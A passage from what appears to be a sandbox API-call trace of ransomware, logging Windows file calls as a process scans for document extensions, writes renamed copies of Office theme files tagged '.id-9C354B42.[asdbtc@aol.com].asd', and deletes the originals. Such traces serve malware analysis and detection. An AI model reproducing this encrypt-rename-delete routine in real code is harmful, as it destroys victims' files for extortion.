(lpString=".pdf") returned 4 [0054.545] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.545] lstrlenW (lpString=".xls") returned 4 [0054.545] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.545] lstrlenW (lpString=".xlsx") returned 5 [0054.545] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.545] lstrlenW (lpString=".ppt") returned 4 [0054.545] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.545] lstrlenW (lpString=".zip") returned 4 [0054.546] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.546] lstrlenW (lpString=".rar") returned 4 [0054.546] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.546] lstrlenW (lpString=".bz2") returned 4 [0054.546] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.546] lstrlenW (lpString=".7z") returned 3 [0054.546] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.546] lstrlenW (lpString=".dbf") returned 4 [0054.546] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.546] lstrlenW (lpString=".1cd") returned 4 [0054.546] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0054.546] lstrlenW (lpString=".jpg") returned 4 [0054.546] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.546] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.546] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.547] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=11573) returned 1 [0054.547] CloseHandle (hObject=0x1dc) returned 1 [0054.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0054.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.548] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.548] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.548] GetLastError () returned 0x0 [0054.548] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x2d35, lpOverlapped=0x0) returned 1 [0054.550] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0054.551] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.551] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.551] SetEndOfFile (hFile=0x218) returned 1 [0054.551] CloseHandle (hObject=0x218) returned 1 [0054.551] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.551] SetEndOfFile (hFile=0x1dc) returned 1 [0054.552] CloseHandle (hObject=0x1dc) returned 1 [0054.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.552] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0054.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.553] lstrlenW (lpString=".doc") returned 4 [0054.553] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.553] lstrlenW (lpString=".docx") returned 5 [0054.553] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.553] lstrlenW (lpString=".pdf") returned 4 [0054.553] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.553] lstrlenW (lpString=".xls") returned 4 [0054.553] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.553] lstrlenW (lpString=".xlsx") returned 5 [0054.553] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.553] lstrlenW (lpString=".ppt") returned 4 [0054.553] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.553] lstrlenW (lpString=".zip") returned 4 [0054.553] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.553] lstrlenW (lpString=".rar") returned 4 [0054.553] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.553] lstrlenW (lpString=".bz2") returned 4 [0054.553] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.553] lstrlenW (lpString=".7z") returned 3 [0054.553] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.553] lstrlenW (lpString=".dbf") returned 4 [0054.553] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.553] lstrlenW (lpString=".1cd") returned 4 [0054.553] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.554] lstrlenW (lpString=".jpg") returned 4 [0054.554] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.554] lstrlenW (lpString=".doc") returned 4 [0054.554] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.554] lstrlenW (lpString=".docx") returned 5 [0054.554] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.554] lstrlenW (lpString=".pdf") returned 4 [0054.554] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.554] lstrlenW (lpString=".xls") returned 4 [0054.554] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.554] lstrlenW (lpString=".xlsx") returned 5 [0054.554] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.554] lstrlenW (lpString=".ppt") returned 4 [0054.554] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.554] lstrlenW (lpString=".zip") returned 4 [0054.554] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.554] lstrlenW (lpString=".rar") returned 4 [0054.554] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.554] lstrlenW (lpString=".bz2") returned 4 [0054.554] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.554] lstrlenW (lpString=".7z") returned 3 [0054.554] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.554] lstrlenW (lpString=".dbf") returned 4 [0054.554] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.554] lstrlenW (lpString=".1cd") returned 4 [0054.554] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0054.555] lstrlenW (lpString=".jpg") returned 4 [0054.555] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.555] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.555] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.555] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2574) returned 1 [0054.555] CloseHandle (hObject=0x1dc) returned 1 [0054.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0054.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.556] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.556] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.557] GetLastError () returned 0x0 [0054.557] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0xa0e, lpOverlapped=0x0) returned 1 [0054.842] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xa10, lpOverlapped=0x0) returned 1 [0054.844] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.844] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.844] SetEndOfFile (hFile=0x218) returned 1 [0054.844] CloseHandle (hObject=0x218) returned 1 [0054.845] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.845] SetEndOfFile (hFile=0x1dc) returned 1 [0054.846] CloseHandle (hObject=0x1dc) returned 1 [0054.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.846] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.847] lstrlenW (lpString=".doc") returned 4 [0054.847] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.847] lstrlenW (lpString=".docx") returned 5 [0054.847] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.847] lstrlenW (lpString=".pdf") returned 4 [0054.847] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.847] lstrlenW (lpString=".xls") returned 4 [0054.847] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.847] lstrlenW (lpString=".xlsx") returned 5 [0054.847] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.847] lstrlenW (lpString=".ppt") returned 4 [0054.847] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.847] lstrlenW (lpString=".zip") returned 4 [0054.847] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.847] lstrlenW (lpString=".rar") returned 4 [0054.847] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.847] lstrlenW (lpString=".bz2") returned 4 [0054.847] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.847] lstrlenW (lpString=".7z") returned 3 [0054.847] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.847] lstrlenW (lpString=".dbf") returned 4 [0054.847] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.847] lstrlenW (lpString=".1cd") returned 4 [0054.848] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.848] lstrlenW (lpString=".jpg") returned 4 [0054.848] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.848] lstrlenW (lpString=".doc") returned 4 [0054.848] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.848] lstrlenW (lpString=".docx") returned 5 [0054.848] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.848] lstrlenW (lpString=".pdf") returned 4 [0054.848] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.848] lstrlenW (lpString=".xls") returned 4 [0054.848] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.848] lstrlenW (lpString=".xlsx") returned 5 [0054.848] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.848] lstrlenW (lpString=".ppt") returned 4 [0054.848] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.848] lstrlenW (lpString=".zip") returned 4 [0054.848] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.848] lstrlenW (lpString=".rar") returned 4 [0054.848] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.848] lstrlenW (lpString=".bz2") returned 4 [0054.848] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.849] lstrlenW (lpString=".7z") returned 3 [0054.849] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.849] lstrlenW (lpString=".dbf") returned 4 [0054.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.849] lstrlenW (lpString=".1cd") returned 4 [0054.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0054.849] lstrlenW (lpString=".jpg") returned 4 [0054.849] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.849] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.849] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.404] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=16738) returned 1 [0055.405] CloseHandle (hObject=0x218) returned 1 [0055.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0055.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.416] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.417] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.417] GetLastError () returned 0x0 [0055.417] ReadFile (in: hFile=0x220, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x4162, lpOverlapped=0x0) returned 1 [0055.420] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x4170, lpOverlapped=0x0) returned 1 [0055.421] ReadFile (in: hFile=0x220, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0055.421] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.421] SetEndOfFile (hFile=0x218) returned 1 [0055.422] CloseHandle (hObject=0x218) returned 1 [0055.422] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.422] SetEndOfFile (hFile=0x220) returned 1 [0055.423] CloseHandle (hObject=0x220) returned 1 [0055.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.423] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0055.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.424] lstrlenW (lpString=".doc") returned 4 [0055.424] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.424] lstrlenW (lpString=".docx") returned 5 [0055.424] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.424] lstrlenW (lpString=".pdf") returned 4 [0055.424] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.424] lstrlenW (lpString=".xls") returned 4 [0055.424] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.424] lstrlenW (lpString=".xlsx") returned 5 [0055.424] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.424] lstrlenW (lpString=".ppt") returned 4 [0055.424] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.424] lstrlenW (lpString=".zip") returned 4 [0055.424] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.424] lstrlenW (lpString=".rar") returned 4 [0055.424] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.425] lstrlenW (lpString=".bz2") returned 4 [0055.425] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.425] lstrlenW (lpString=".7z") returned 3 [0055.425] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.425] lstrlenW (lpString=".dbf") returned 4 [0055.425] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.425] lstrlenW (lpString=".1cd") returned 4 [0055.425] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.425] lstrlenW (lpString=".jpg") returned 4 [0055.425] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0055.425] lstrlenW (lpString=".doc") returned 4 [0055.425] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.425] lstrlenW (lpString=".docx") returned 5 [0055.425] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.425] lstrlenW 